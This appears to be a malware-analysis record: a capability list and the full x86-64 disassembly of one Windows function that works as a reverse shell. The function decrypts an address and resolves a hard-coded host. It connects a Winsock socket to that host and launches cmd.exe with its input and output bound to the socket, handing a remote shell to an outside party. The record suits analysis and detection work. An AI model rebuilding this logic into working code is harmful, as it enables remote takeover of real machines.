Function at 0x140001862
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create a process with modified i/o handles and window
Create process on windows
Create tcp socket
Create udp socket
Execute command
Initialize winsock library
Resolve dns
Self delete

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov dword [rbp + 0xf0], ecx
mov qword [rbp + 0xf8], rdx
call sym.__main
call sym.decryptIP__
mov ecx, 0x88b8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, str.echo_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa____temp.txt
mov rcx, rax
call sym.system
lea rax, str.del_temp.txt
mov rcx, rax
call sym.system
lea rax, [0x1400f50c0]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov qword [0x1400f5258], rax
lea rax, str.90497_143_0
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_gethostbyname]
call rax
mov qword [rbp + 0xd8], rax
cmp qword [rbp + 0xd8], 0
jne 0x140001931
mov eax, 1
jmp 0x140001c1d
mov rax, qword [rbp + 0xd8]
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_inet_ntoa]
call rax
mov qword [rbp + 0xd0], rax
mov word [0x1400f5260], 2
lea rax, [0x1400c0020]
mov rcx, rax
call sym.atoi
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [0x1400f5262], ax
mov rax, qword [rbp + 0xd0]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [0x1400f5264], eax
mov rax, qword [0x1400f5258]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x10
lea rdx, [0x1400f5260]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_WSAConnect]
call rax
cmp eax, 0xffffffff
sete al
test al, al
je 0x1400019ee
mov eax, 1
jmp 0x140001c1d
mov r8d, 0x68
mov edx, 0
lea rax, [0x1400f5280]
mov rcx, rax
call sym.memset
mov dword [0x1400f5280], 0x68
mov dword [0x1400f52bc], 0x101
mov rax, qword [0x1400f5258]
mov qword [0x1400f52e0], rax
mov rax, qword [0x1400f52e0]
mov qword [0x1400f52d8], rax
mov rax, qword [0x1400f52d8]
mov qword [0x1400f52d0], rax
movabs rax, 0x6578652e646d63
mov edx, 0
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x10], 0
mov qword [rbp - 8], 0
mov qword [rbp], 0
mov qword [rbp + 8], 0
mov qword [rbp + 0x10], 0
mov qword [rbp + 0x18], 0
mov qword [rbp + 0x20], 0
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x30], 0
mov qword [rbp + 0x38], 0
mov qword [rbp + 0x40], 0
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x50], 0
mov qword [rbp + 0x58], 0
mov qword [rbp + 0x60], 0
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x70], 0
mov qword [rbp + 0x78], 0
mov qword [rbp + 0x80], 0
mov qword [rbp + 0x88], 0
mov qword [rbp + 0x90], 0
mov qword [rbp + 0x98], 0
mov qword [rbp + 0xa0], 0
mov qword [rbp + 0xa8], 0
mov qword [rbp + 0xb0], 0
mov qword [rbp + 0xb8], 0
mov qword [rbp + 0xbf], 0
mov qword [rbp + 0xc7], 0
lea rax, [rbp - 0x30]
lea rdx, [0x1400f52f0]
mov qword [rsp + 0x48], rdx
lea rdx, [0x1400f5280]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
sete al
test al, al
je 0x140001bd6
mov eax, 1
jmp 0x140001c1d
mov rax, qword [0x1400f52f0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [0x1400f52f8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [0x1400f5258]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 0
add rsp, 0x160
pop rbp
ret